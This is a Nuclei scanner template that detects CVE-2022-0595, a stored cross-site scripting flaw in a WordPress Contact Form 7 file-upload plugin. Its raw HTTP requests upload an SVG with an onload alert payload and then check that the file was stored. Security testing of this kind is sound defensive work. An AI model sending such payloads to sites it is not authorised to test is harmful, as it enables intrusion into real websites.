nuclei-templates/http/cves/2022/CVE-2022-0595.yaml

65 lines
2.6 KiB
YAML

id: CVE-2022-0595
info:
name: WordPress Contact Form 7 <1.3.6.3 - Stored Cross-Site Scripting
author: akincibor
severity: medium
description: |
WordPress Contact Form 7 before 1.3.6.3 contains an unauthenticated stored cross-site scripting vulnerability in the Drag and Drop Multiple File Upload plugin. SVG files can be uploaded by default via the dnd_codedropz_upload AJAX action.
remediation: |
Update the WordPress Contact Form 7 plugin to version 1.3.6.3 or later to mitigate the vulnerability.
reference:
- https://wpscan.com/vulnerability/1b849957-eaca-47ea-8f84-23a3a98cc8de
- https://plugins.trac.wordpress.org/changeset/2686614
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2022-0595
cwe-id: CWE-79
epss-score: 0.00102
epss-percentile: 0.41369
cpe: cpe:2.3:a:codedropz:drag_and_drop_multiple_file_upload_-_contact_form_7:*:*:*:*:*:wordpress:*:*
metadata:
max-request: 2
vendor: codedropz
product: drag_and_drop_multiple_file_upload_-_contact_form_7
framework: wordpress
tags: cve,cve2022,xss,wordpress,wp-plugin,wpscan,fileupload,intrusive,unauth
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=---------------------------92633278134516118923780781161
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="size_limit"
10485760
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="action"
dnd_codedropz_upload
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="type"
click
-----------------------------92633278134516118923780781161
Content-Disposition: form-data; name="upload-file"; filename="{{randstr}}.svg"
Content-Type: image/jpeg
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"/>
-----------------------------92633278134516118923780781161--
- |
GET /wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/{{randstr}}.svg HTTP/1.1
Host: {{Hostname}}
req-condition: true
matchers:
- type: dsl
dsl:
- 'contains(body_2, "alert(document.domain)")'
- 'status_code_2 == 200'
condition: and
# digest: 4a0a0047304502205948bea5ecb20b88131910f7aab0286d433f1bd4ec5679f48d291fff835b122b022100bed48c0d226e3ad3135a43bd99457c45daade21ac0a7c7cae9cfb613f58bbce6:922c64590222798bb761d5b6d8e72950